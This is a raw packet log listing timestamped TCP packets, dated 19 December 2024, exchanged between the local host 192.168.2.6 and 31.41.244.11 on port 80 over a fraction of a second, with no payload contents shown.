Dec 19, 2024 16:10:33.868017912 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.868804932 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.868876934 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.868930101 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.868995905 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.869738102 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.869777918 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.869875908 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.869908094 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.870753050 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.870794058 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.870815039 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.870925903 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.871804953 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.871817112 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.871860027 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.871872902 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.872931957 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.872944117 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.872994900 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.873727083 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.873738050 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.873779058 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.874857903 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.874870062 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.874921083 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.875786066 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.875796080 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.875828028 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.875860929 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.876622915 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.876674891 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.876920938 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.876962900 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.877688885 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.877728939 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.877806902 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.877842903 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.878681898 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.878845930 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.879122019 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.879200935 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.879580975 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.879667044 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.879726887 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.879977942 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.880510092 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.880556107 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.880805016 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.880846977 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.881551027 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.881644964 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.881684065 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.882648945 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.882661104 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.882725000 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.882740974 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.883534908 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.883575916 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.883613110 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.883651972 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.884670019 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.884681940 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.884726048 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.885576963 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.885588884 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.885633945 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.886540890 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.886552095 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.886583090 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.886607885 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.887411118 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.887456894 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.887568951 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.887604952 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.888947010 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.888959885 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.888988018 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.889010906 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.890244961 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.890258074 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.890306950 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.891236067 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.891248941 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.891279936 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.891299963 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.891369104 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.891652107 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.891717911 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.892024994 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.893254995 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.893266916 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.893277884 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.893301964 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.893335104 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.894248962 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.894294024 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.894309044 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.894346952 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.894697905 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.894735098 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.895229101 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.895267963 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.895365000 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.895400047 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.896450996 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.896462917 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.896488905 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.896507025 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.897193909 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.897254944 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.897327900 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.897362947 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.899049044 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.899061918 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.899116993 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.899172068 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.899174929 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.899214983 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.899360895 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.899415970 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.900604010 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.900618076 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.900670052 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.901571035 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.901619911 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.901736975 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.901770115 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.902339935 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.902352095 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.902379990 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.902410030 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.903347969 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.903392076 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.904308081 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.904320002 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.904330969 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.904366016 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.904396057 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.905410051 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.905452967 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.906152010 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.906224966 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.906675100 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.906686068 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.906718969 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.906727076 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.907620907 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.907656908 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.907743931 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.907812119 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.908469915 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.908751011 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.908773899 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.908801079 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.909014940 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.909089088 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.909409046 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.909445047 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.909991026 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.910001993 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.910036087 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:33.910912037 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:33.911022902 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.052105904 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.052123070 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.052175045 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.052201033 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.052206993 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.052278042 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.052823067 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.052870035 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.053328037 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.053339958 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.053369999 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.053394079 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.054241896 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.054352045 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.054380894 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.054416895 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.055434942 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.055445910 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.055486917 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.055510044 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.056235075 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.056281090 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.057251930 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.057277918 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.057317972 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.057384968 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.057430983 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.058260918 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.058273077 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.058312893 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.059559107 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.059627056 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.059695005 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.059736013 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.060061932 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.060122967 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.060628891 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.060687065 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.061328888 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.061386108 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.061676979 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.061810970 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.062192917 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.062230110 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.063065052 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.063077927 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.063119888 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.063460112 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.063499928 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.064013004 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.064101934 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.064763069 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.064898968 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.064959049 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.064997911 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.065041065 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.065951109 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.065996885 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.066066027 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.066126108 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.066924095 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.066972971 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.067281961 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.067323923 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.067948103 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.067989111 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.068345070 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.068386078 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.069020987 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.069034100 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.069077015 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.069096088 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.070100069 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.070111990 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.070152044 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.070962906 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.071130991 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.071146965 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.071182013 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.073385000 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.073396921 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.073409081 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.073421001 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.073453903 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.073474884 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.073745012 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.073793888 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.073874950 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.073905945 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.074889898 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.074902058 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.074961901 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.075968027 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.075980902 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.076034069 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.076071024 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.076738119 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.076831102 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.077636957 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.077682972 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.077718973 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.077730894 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.077760935 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.078969955 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.078982115 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.079040051 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.079077005 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.079684973 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.079734087 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.079839945 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.079967022 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.080667973 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.080724001 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.081366062 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.081427097 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.081638098 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.081682920 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.081829071 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.081876040 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.082833052 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.082844019 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.082882881 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.083878994 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.083892107 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.083920956 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.083950043 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.084939003 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.084950924 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.084999084 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.085691929 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.085947037 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.086060047 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.086097002 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.086505890 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.086555004 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.086733103 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.086771965 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.087559938 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.087601900 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.088665009 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.088677883 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.088690996 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.088728905 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.088768005 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.089709044 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.089721918 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.089766026 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.090567112 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.090648890 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.090670109 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.090691090 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.091654062 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.091711998 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.092519045 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.092531919 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.092545033 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.092578888 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.092597961 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.093444109 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.093457937 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.093488932 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.094327927 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.094377041 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.095098019 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.095143080 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.095556021 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.095602036 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.096163034 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.096210957 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.096283913 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.096353054 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.097217083 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.097265005 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.097493887 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.097729921 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.097769022 CET	49881	80	192.168.2.6	31.41.244.11
